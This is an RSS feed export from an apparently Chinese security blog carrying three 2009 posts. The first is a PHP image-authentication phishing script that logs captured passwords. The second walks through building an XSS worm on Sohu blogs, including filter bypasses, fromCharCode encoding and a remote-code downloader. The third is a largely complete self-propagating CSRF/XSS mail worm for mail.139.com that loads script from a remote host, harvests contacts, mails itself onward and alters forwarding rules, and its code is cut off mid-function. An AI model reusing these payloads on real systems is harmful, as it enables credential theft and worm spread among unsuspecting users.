在这充满诱惑的网络，恶意攻击者的攻击手法层出不穷。而其中颇具难度的社会工程攻击在取得用户的信任的手段方面，往往更倾向于伪装用户服务提供商，或者是在用户交互时，直接进行欺骗。比较典型的网络钓鱼攻击是将用户引诱到一个通过精心设计与用户信任非常相似的钓鱼网站，让用户在不易察觉的情况下提供用户的个人敏感信息。在2004年，国内也曾出现过假冒银行的网站，比如假冒中国工商银行的网站。而这一篇文章，将主要介绍HTML语言里的图片标签引用而诱引的验证漏洞和其伪装的过程。
在milw0rm.com网站，petros发布一篇题为《Image Authentication Injection Paper + PoC》的文章，里头提到通过创建一个php文件向客户端的浏览器发送401未经授权的状态而导致浏览器显示一个登录对话框（显示给用户好像是从目标网站）发起的一个授权认证对话框，而恶意攻击者会诱使用户输入帐户或者密码之类的敏感信息从而导致钓鱼式的攻击。其流程如下：
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/41.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="图片引发验证的社工利用" src="http://www.nuanyue.com/wp-content/uploads/2009/11/41.jpg" alt="图片引发验证的社工利用" width="470" height="385" /></a></p>

HTTP是一种基于请求与响应模式的、无状态的、应用层的协议，客户端向服务器发送一个请求，请求头包含请求的方法、URL、协议版本、以及包含请求修饰符、客户 信息和内容的类似于MIME的消息结构。服务器以一个状态行作为响应，相应的内容包括消息协议的版本，成功或者错误编码加上包含服务器信息、实体元信息以及可能实体内容。对整个过程进行抓包:[......]<p class='read-more'><a href='http://www.nuanyue.com/%e5%9b%be%e7%89%87%e5%bc%95%e5%8f%91%e9%aa%8c%e8%af%81%e7%9a%84%e7%a4%be%e5%b7%a5%e5%88%a9%e7%94%a8.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p><span style="color: #ff0000;">文/<a href="http://www.nuanyue.com/浅谈图片引发验证的社工利用.html">饭</a></span></p>
<p>在这充满诱惑的网络，恶意攻击者的攻击手法层出不穷。而其中颇具难度的社会工程攻击在取得用户的信任的手段方面，往往更倾向于伪装用户服务提供商，或者是在用户交互时，直接进行欺骗。比较典型的网络钓鱼攻击是将用户引诱到一个通过精心设计与用户信任非常相似的钓鱼网站，让用户在不易察觉的情况下提供用户的个人敏感信息。在2004年，国内也曾出现过假冒银行的网站，比如假冒中国工商银行的网站。而这一篇文章，将主要介绍HTML语言里的图片标签引用而诱引的验证漏洞和其伪装的过程。<br />
在milw0rm.com网站，petros发布一篇题为《Image Authentication Injection Paper + PoC》的文章，里头提到通过创建一个php文件向客户端的浏览器发送401未经授权的状态而导致浏览器显示一个登录对话框（显示给用户好像是从目标网站）发起的一个授权认证对话框，而恶意攻击者会诱使用户输入帐户或者密码之类的敏感信息从而导致钓鱼式的攻击。其流程如下：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/41.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="图片引发验证的社工利用" src="http://www.nuanyue.com/wp-content/uploads/2009/11/41.jpg" alt="图片引发验证的社工利用" width="470" height="385" /></a></p>
<p>HTTP是一种基于请求与响应模式的、无状态的、应用层的协议，客户端向服务器发送一个请求，请求头包含请求的方法、URL、协议版本、以及包含请求修饰符、客户 信息和内容的类似于MIME的消息结构。服务器以一个状态行作为响应，相应的内容包括消息协议的版本，成功或者错误编码加上包含服务器信息、实体元信息以及可能实体内容。对整个过程进行抓包:<br />
HTTP请求：</p>

<div class="wp_codebox"><table><tr id="p10296"><td class="code" id="p1029code6"><pre class="html" style="font-family:monospace;">GET /iai.php HTTP/1.1 表示请求方法GET，请求的地址，和HTTP协议版本
Accept: */*           表示客户端可识别的内容类型列表，*/*表示所有类型
Accept-Language: zh-cn 表示客户端所能解盘的语言：简体中文
Accept-Encoding: gzip, deflate 表示客户端可以解盘的类型
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)              表示客户端浏览器型号
Host: www.test.cn 表示提交请求的页面
Connection: Keep-Alive      表示TCP连接保持打开</pre></td></tr></table></div>

<p>HTTP响应：</p>

<div class="wp_codebox"><table><tr id="p10297"><td class="code" id="p1029code7"><pre class="html" style="font-family:monospace;">HTTP/1.1 401 Unauthorized  表示HTTP协议版本，应答码是401 即未经授权访问
Date: Sat, 25 Jul 2009 11:42:27 GMT  表示当前的GMT时间
Server: Apache/2.2.3 (CentOS)  表示服务器的操作类型
X-Powered-By: PHP/5.1.6        表示服务器的脚本版本
WWW-Authenticate: Basic realm=&quot;Text&quot; 表示客户端在Authenticate头中提供的授权信息
Content-Length: 3  表示连接内容长度
Connection: close  表示TCP连接关闭
Content-Type: text/html 表示文档类型
负责响应的iai.php文件内容：
  header('WWW-Authenticate: Basic realm=&quot;Text&quot;');
  header('HTTP/1.0 401 Unauthorized');
使用了PHP中的Header()函数，发送一个原始HTTP标头[Http Header]到客户端。</pre></td></tr></table></div>

<p>钓鱼式攻击的利用，从上面流程图里，可以知道大致步骤如下：<br />
在网页里插入恶意代码<br />
插入调用远程图片的代码，形如：</p>

<div class="wp_codebox"><table><tr id="p10298"><td class="code" id="p1029code8"><pre class="html" style="font-family:monospace;">[img]http://B.com/iai.php[/img]
&lt;img src=&quot;http://B.com/iai.php&quot; alt=&quot;&quot; width=&quot;0&quot; height=&quot;0&quot; /&gt;</pre></td></tr></table></div>

<p>最好是高度宽度都为0，免得在网页里显示空白,代码如下：</p>

<div class="wp_codebox"><table><tr id="p10299"><td class="code" id="p1029code9"><pre class="html" style="font-family:monospace;">&amp;lt; !DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;
&nbsp;
&lt;img src=&quot;http://www.B.com/iai.php&quot; alt=&quot;&quot; /&gt;
&nbsp;
&lt;img src=&quot;http://www.B.com/iai.php&quot; alt=&quot;&quot; /&gt;</pre></td></tr></table></div>

<p>编写iai.php脚本这个脚本的主要功能包括返回401应答和获取提交的敏感信息，并保存。代码如下：</p>

<div class="wp_codebox"><table><tr id="p102910"><td class="code" id="p1029code10"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> ?php
    <span style="color: #000000; font-weight: bold;">global</span>  <span style="color: #000088;">$username</span><span style="color: #339933;">,</span><span style="color: #000088;">$passwd</span><span style="color: #339933;">,</span><span style="color: #000088;">$host</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PHP_AUTH_USER'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
     <span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WWW-Authenticate: Basic realm=&quot;test&quot;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'HTTP/1.0 401 Unauthorized'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #990000;">exit</span><span style="color: #339933;">;</span>
     <span style="color: #009900;">&#125;</span>
       <span style="color: #000088;">$username</span><span style="color: #339933;">=</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PHP_AUTH_USER'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
       <span style="color: #000088;">$passwd</span><span style="color: #339933;">=</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PHP_AUTH_PW'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
       <span style="color: #000088;">$host</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_HOST'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
       <span style="color: #000088;">$myFile</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;log.txt&quot;</span><span style="color: #339933;">;</span>
       <span style="color: #000088;">$fh</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$myFile</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'a'</span><span style="color: #009900;">&#41;</span> or <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;can't open file&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fh</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;网址:<span style="color: #000099; font-weight: bold;">\t</span><span style="color: #006699; font-weight: bold;">$host</span><span style="color: #000099; font-weight: bold;">\t</span><span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fh</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;usname:<span style="color: #000099; font-weight: bold;">\t</span><span style="color: #006699; font-weight: bold;">$username</span><span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fh</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;passwd:<span style="color: #000099; font-weight: bold;">\t</span><span style="color: #006699; font-weight: bold;">$passwd</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fh</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
?<span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>当正常用户访问网站时，插在网页里的iai.php文件，即会强制弹出验证框，如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/21.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="图片引发验证的社工利用" src="http://www.nuanyue.com/wp-content/uploads/2009/11/21.jpg" alt="图片引发验证的社工利用" width="540" height="485" /></a></p>
<p>如果用户提交了帐户或者密码后，iai.php会在后台自动提交给远程的log.txt文件，产生内容如下：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/31.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="图片引发验证的社工利用" src="http://www.nuanyue.com/wp-content/uploads/2009/11/31.jpg" alt="图片引发验证的社工利用" width="540" height="199" /></a></p>
<p>通过加载脚本强制验证窗体的弹出，此社工在利用时，还是具有一定的局限性。在隐藏攻击意图时，有些不足，弹出的框，比较生硬，也可以语言措辞下进行修改，但是对一些安全意识缺失的网民来说，还是会有上当的可能。希望大家能当心，不要轻易输入敏感信息。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e5%9b%be%e7%89%87%e5%bc%95%e5%8f%91%e9%aa%8c%e8%af%81%e7%9a%84%e7%a4%be%e5%b7%a5%e5%88%a9%e7%94%a8.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>实现完整的XSS wrom流程</title>
		<link>http://www.nuanyue.com/%e5%ae%9e%e7%8e%b0%e5%ae%8c%e6%95%b4%e7%9a%84xss-wrom%e6%b5%81%e7%a8%8b.html</link>
		<comments>http://www.nuanyue.com/%e5%ae%9e%e7%8e%b0%e5%ae%8c%e6%95%b4%e7%9a%84xss-wrom%e6%b5%81%e7%a8%8b.html#comments</comments>
		<pubDate>Fri, 06 Nov 2009 05:53:07 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[csrf漏洞]]></category>
		<category><![CDATA[跨站漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=940</guid>
		<description><![CDATA[<p>文/茄子宝<br />
1.测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些.</p>

<div class="wp_codebox"><table><tr id="p94011"><td class="code" id="p940code11"><pre class="css" style="font-family:monospace;"><span style="color: #ff0000;">''</span><span style="color: #00AA00;">;:</span>!--<span style="color: #ff0000;">&#34;=&#38;amp;#{()} <span style="color: #000099; font-weight: bold;">\/</span></span></pre></td></tr></table></div>

<p>结果</p>
<p>&#8221;;:!&#8211;&#8221;=&#38;#{()} /[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e5%ae%9e%e7%8e%b0%e5%ae%8c%e6%95%b4%e7%9a%84xss-wrom%e6%b5%81%e7%a8%8b.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>文/茄子宝<br />
1.测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些.</p>

<div class="wp_codebox"><table><tr id="p94018"><td class="code" id="p940code18"><pre class="css" style="font-family:monospace;"><span style="color: #ff0000;">''</span><span style="color: #00AA00;">;:</span>!--<span style="color: #ff0000;">&quot;=&amp;amp;#{()} <span style="color: #000099; font-weight: bold;">\/</span></span></pre></td></tr></table></div>

<p>结果</p>
<p>&#8221;;:!&#8211;&#8221;=&amp;#{()} // (&amp;后是amp,论坛过滤了)</p>
<p>过滤了&#8221;javascript&#8221;,&#8221;&amp;&#8221;和&#8221;\&#8221;这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手.</p>
<p>2.测试一个XSS常用属性和两个事件,貌似没有过滤字符.</p>

<div class="wp_codebox"><table><tr id="p94019"><td class="code" id="p940code19"><pre class="css" style="font-family:monospace;">expression
onerror
onload</pre></td></tr></table></div>

<p>3.下面开始尝试构造语句.如下:</p>

<div class="wp_codebox"><table><tr id="p94020"><td class="code" id="p940code20"><pre class="css" style="font-family:monospace;">&lt;img style<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;Xss:expression(alert('xss'));&quot;</span> src<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;#&quot;</span> alt<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;&quot;</span> /<span style="color: #00AA00;">&gt;</span>
&nbsp;
&lt;img src<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;#&quot;</span> alt<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;&quot;</span> /<span style="color: #00AA00;">&gt;</span>
&nbsp;
&lt;img src<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;http://js.pp.sohu.com/ppp/blog/styles/images/welcome.jpg&quot;</span> alt<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;&quot;</span> /<span style="color: #00AA00;">&gt;</span></pre></td></tr></table></div>

<p>构造完整标记,页面输出后又全部过滤.</p>
<p>4.&#8221;/&#8221;字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句:</p>

<div class="wp_codebox"><table><tr id="p94021"><td class="code" id="p940code21"><pre class="css" style="font-family:monospace;">&lt;div style<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;xss:ex/**/pre/**/ssion(alert('xss'))&quot;</span><span style="color: #00AA00;">&gt;</span>&lt;/div<span style="color: #00AA00;">&gt;</span></pre></td></tr></table></div>

<p>5.由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现&#8221;;&#8221;字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:</p>

<div class="wp_codebox"><table><tr id="p94022"><td class="code" id="p940code22"><pre class="css" style="font-family:monospace;">&lt;div style<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;xss:ex/**/pre/**/ssion(eval(xss));&quot;</span><span style="color: #00AA00;">&gt;</span>
&nbsp;
//设置一个COOKIE在<span style="color: #cc66cc;">10</span>秒后失效<span style="color: #00AA00;">,</span>并在这条COOKIE语句中执行其他语句或函数.&lt;/div<span style="color: #00AA00;">&gt;</span></pre></td></tr></table></div>

<p>6.遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:</p>

<div class="wp_codebox"><table><tr id="p94023"><td class="code" id="p940code23"><pre class="css" style="font-family:monospace;">&lt;div style<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))&quot;</span><span style="color: #00AA00;">&gt;</span>&lt;/div<span style="color: #00AA00;">&gt;</span></pre></td></tr></table></div>

<p>7.感染流程考虑:</p>
<p>(1).BLOG页面的个人档案处是页面通用的,<br />
(2)XSS内容写到个人档案处,所有浏览者都会触发XSS<br />
(3)实现一段提交XSS内容到个人档案的代码.</p>
<p>8.个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader.</p>
<p>主要代码:</p>

<div class="wp_codebox"><table><tr id="p94024"><td class="code" id="p940code24"><pre class="css" style="font-family:monospace;">function d<span style="color: #00AA00;">&#40;</span><span style="color: #00AA00;">&#41;</span><span style="color: #00AA00;">&#123;</span>
a<span style="color: #00AA00;">=</span>new ActiveXObject<span style="color: #00AA00;">&#40;</span><span style="color: #ff0000;">'Microsoft.XMLHTTP'</span><span style="color: #00AA00;">&#41;</span><span style="color: #00AA00;">;</span> <span style="color: #808080; font-style: italic;">/*调用XMLHTTP控件
a.Open('get','http://s0n9.blog.sohu.com/31406970.html',false);/*发出一个GET提交请求
a.send();
b=a.responseText; /*将传回值赋给变量B
eval(unescape(b.substring(b.indexOf('--|')+3,b.indexOf('|--'))));
/*用indexOf计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.
}d()
&nbsp;
http://s0n9.blog.sohu.com/31406970.html页面代码:
alert%28%27xss%27%29%3B</span></pre></td></tr></table></div>

<p>/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如&#8221;&amp;&#8221;字符会变成&#8221;&amp;&#8221;(&amp;后是amp,论坛过滤了)</p>
<p>PS:其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e5%ae%9e%e7%8e%b0%e5%ae%8c%e6%95%b4%e7%9a%84xss-wrom%e6%b5%81%e7%a8%8b.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>一个邮箱蠕虫编写实例</title>
		<link>http://www.nuanyue.com/%e4%b8%80%e4%b8%aa%e9%82%ae%e7%ae%b1%e8%a0%95%e8%99%ab%e7%bc%96%e5%86%99%e5%ae%9e%e4%be%8b.html</link>
		<comments>http://www.nuanyue.com/%e4%b8%80%e4%b8%aa%e9%82%ae%e7%ae%b1%e8%a0%95%e8%99%ab%e7%bc%96%e5%86%99%e5%ae%9e%e4%be%8b.html#comments</comments>
		<pubDate>Thu, 05 Nov 2009 10:59:52 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[csrf漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=923</guid>
		<description><![CDATA[<p>文/<a href="http://www.woyigui.cn/139-mail-worm/">woyigui</a><br />
原理分析:<br />
     我们经常会用到的mail.139.com，由于对邮件正文过滤不严,导致存在xss漏洞。他们尽管实现了对style=&#8221;xss:expression&#8221;进行过滤,但是可以通过添加/*  */绕过，如：。在添加/* */后，该脚本能够在IE浏[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e4%b8%80%e4%b8%aa%e9%82%ae%e7%ae%b1%e8%a0%95%e8%99%ab%e7%bc%96%e5%86%99%e5%ae%9e%e4%be%8b.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>文/<a href="http://www.woyigui.cn/139-mail-worm/">woyigui</a><br />
原理分析:<br />
     我们经常会用到的mail.139.com，由于对邮件正文过滤不严,导致存在xss漏洞。他们尽管实现了对style=&#8221;xss:expression&#8221;进行过滤,但是可以通过添加/*  */绕过，如：。在添加/* */后，该脚本能够在IE浏览器执行。<br />
同时,经过分析发现,mail.139.com中发送邮件的功能存在CSRF弱点;可以通过Ajax技术获取发送邮件所需要的mid值。另外邮箱的“通信录“中的联系人邮件可以直接通过javascript取出。<br />
满足了编写csrf worm的3个条件,接下来的工作,就是通过编写javascript代码来实现了。</p>
<p>跨站代码:<br />
该部分要实现的功能就是,触发浏览器去读取远端的js脚本,并且执行该脚本:</p>

<div class="wp_codebox"><table><tr id="p92328"><td class="code" id="p923code28"><pre class="js" style="font-family:monospace;">Original:
var ig =document.createElement(&quot;script&quot;);ig.src=&quot; http://192.168.9.104/woyigui/139.js&quot;;try {document.getElementsByTagName(&quot;body&quot;)[0].appendChild(ig);} catch (e) {document.documentElement.appendChild(document.createElement(&quot;body&quot;));document.getElementsByTagName(&quot;body&quot;)[0].appendChild(ig);}</pre></td></tr></table></div>

<p>对该部分编码按照10进制进行编码,以避免关键字被替换,并调用:</p>

<div class="wp_codebox"><table><tr id="p92329"><td class="code" id="p923code29"><pre class="js" style="font-family:monospace;">&lt;img STYLE=&quot;xss:expr/*xss*/ession(eval(String.fromCharCode(118, 97, 114, 32, 105, 103, 32, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 105, 103, 46, 115, 114, 99, 61, 34, 32, 104, 116, 116, 112, 58, 47, 47, 49, 57, 50, 46, 49, 54, 56, 46, 57, 46, 49, 48, 52, 47, 119, 111, 121, 105, 103, 117, 105, 47, 49, 51, 57, 46, 106, 115, 34, 59, 116, 114, 121, 32, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 98, 111, 100, 121, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 103, 41, 59, 125, 32, 99, 97, 116, 99, 104, 32, 40, 101, 41, 32, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 100, 111, 99, 117, 109, 101, 110, 116, 69, 108, 101, 109, 101, 110, 116, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 98, 111, 100, 121, 34, 41, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 98, 111, 100, 121, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 103, 41, 59, 125)))&quot;/&gt;</pre></td></tr></table></div>

<p>该部分代码,需放置在邮件正文中传送。</p>
<p>脚本功能的实现:</p>
<p>主要实现了如下功能:<br />
1.通过脚本,读取联系人的邮箱地址。<br />
  该部分信息,可以通过top.LinkManList.concat()获取。<br />
2.通过脚本，获取sid值<br />
  该部分信息,可以通过window.top.location.href,配合正则表达式获取到。<br />
3.获取发送邮件所需要的mid值<br />
  在获取到sid值后,通过script打开&#8221;写邮件&#8221;页面,读取mid值。<br />
4.发送邮件<br />
  发送邮件功能只验证mid值,因此在获取到正确的mid值后,连同获取到的联系人一起,构造post数据，发送邮件。<br />
5.改写邮件转发规则和自动回复规则<br />
  在有正确的sid后,构造post。</p>
<p>完整代码：</p>

<div class="wp_codebox"><table><tr id="p92330"><td class="code" id="p923code30"><pre class="js" style="font-family:monospace;">var xssed = false;
if (typeof XSSflag != &quot;undefined&quot;){
  xssed = true;
}
var XSSflag = [
  {name: &quot;version&quot;, url: &quot;1.0&quot;},
];
if ( xssed != true ) {  
  var xmlhttp;
  //create XHR
  function createXMLHttp(){  
      try {
        xmlhttp = new XMLHttpRequest();
      } catch (e) {
         var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0',
                     'MSXML2.XMLHTTP.4.0',
                     'MSXML2.XMLHTTP.3.0',
                     'MSXML2.XMLHTTP',
                     'Microsoft.XMLHTTP' );
        var success = false;
        for (var i=0;i &lt; XMLHTTP_IDS.length &amp;&amp; !success; i++) {
          try {
             xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]);
              success = true;
          } catch (e) {}
        }
        if (!success) {
          throw new Error('Unable to create XMLHttpRequest.');
        }
     }
  }
  function domid (dourl) {
    createXMLHttp();  
    var tmp = &quot;&quot;;
    xmlhttp.open(&quot;GET&quot;, dourl, false);  
    xmlhttp.setRequestHeader(&quot;Content-Type&quot;,&quot;application/x-www-form-urlencoded;&quot;);
    xmlhttp.setRequestHeader(&quot;Connection&quot;, &quot;close&quot;);
    xmlhttp.send(null);
    setTimeout( tmp = xmlhttp.responseText,500);
    return tmp;    
  }
  function startRequest(doUrl, tomail, subject, Content, account, mid, sid ){  
    createXMLHttp();  
    var params = &quot;funcid=compose&amp;sid=&quot;+ sid +&quot;&amp;mid=&quot;+ mid +&quot;&amp;hidRemoteIp=&amp;ishtml=y&amp;optype=send.x&amp;idOpType=&amp;text=&quot;+ Content +&quot;&amp;destcgi=&amp;funcid=compose&amp;netfdrhost=&amp;to=&quot;+ tomail +&quot;&amp;cc=&amp;bcc=&amp;subject=&quot;+ subject +&quot;&amp;year=&amp;month=&amp;day=&amp;hour=undefined&amp;compinfo_minute=&amp;chkHtmlMessage_text=y&amp;chkHtmlMessage=y&amp;ifsavetosent=y&amp;account=&quot;+ account +&quot;&amp;destcgi=&amp;netfdrhost=&amp;split_rcpt=n&amp;return_receipt=0&amp;priority=0&quot;;
    xmlhttp.open(&quot;POST&quot;, doUrl, false);  
    xmlhttp.setRequestHeader(&quot;Content-Type&quot;,&quot;application/x-www-form-urlencoded;&quot;);
    xmlhttp.setRequestHeader(&quot;Content-length&quot;, params.length);
    xmlhttp.setRequestHeader(&quot;Connection&quot;, &quot;close&quot;);
    xmlhttp.send(params);
  }
  function doMyAjax()  
  {  
     var strPer = '/coremail/cgi/attachfapps';
     var tomail = '&lt;woyigui_test@139.com&gt;;';
     var subject = &quot;test20&quot;;
     var Content = &quot;&lt;img style=\&quot;a:expr/**/ession(eval(String.fromCharCode(9,118,97,114,32,105,103,32,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,13,10,9,105,103,46,115,114,99,61,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,57,46,49,48,52,47,119,111,121,105,103,117,105,47,49,51,57,46,106,115,34,59,13,10,9,116,114,121,32,123,13,10,9,32,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,98,111,100,121,34,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,105,103,41,59,13,10,9,125,32,99,97,116,99,104,32,40,101,41,32,123,13,10,9,9,100,111,99,117,109,101,110,116,46,100,111,99,117,109,101,110,116,69,108,101,109,101,110,116,46,97,112,112,101,110,100,67,104,105,108,100,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,98,111,100,121,34,41,41,59,13,10,9,9,9,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,98,111,100,121,34,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,105,103,41,59,13,10,9,125)))\&quot;/&gt;&quot;;
     var account = &quot;&quot;;
     var sid = window.top.location.href.replace(/.*&amp;sid=(.*)/,&quot;$1&quot;);
     var tmpmid = domid(&quot;/coremail/fcg/ldmmapp?funcid=compose&amp;sid=&quot; + sid );  
     var mid=&quot;&quot;,text=&quot;&quot;;
     text=tmpmid.split(&quot;\n&quot;);
    for (var i=0;i &lt; text.length; i++)
    {
      var patt=/name=\&quot;mid\&quot; value=\&quot;/;
      if ( patt.test(text[i]))
      {  
        mid=text[i].replace(/.*name=\&quot;mid\&quot; value=\&quot;(.*)\&quot;.*/, &quot;$1&quot;);
        break;
      }
    }
    var mail_address=top.LinkManList.concat();
    for (var i=0,len=mail_address.length;i&lt;len;i++)
    {  var mail=mail_address[i];
      var reg_139=/@139\.com/;
      if ( reg_139.test(mail.addr)){
        tomail += &quot;&lt;&quot;+mail.addr+&quot;&gt;;&quot;;
      }
    }
     try {
       startRequest(strPer, encodeURIComponent(tomail), encodeURIComponent(subject), encodeURIComponent(Content), encodeURIComponent(account), mid, sid );    
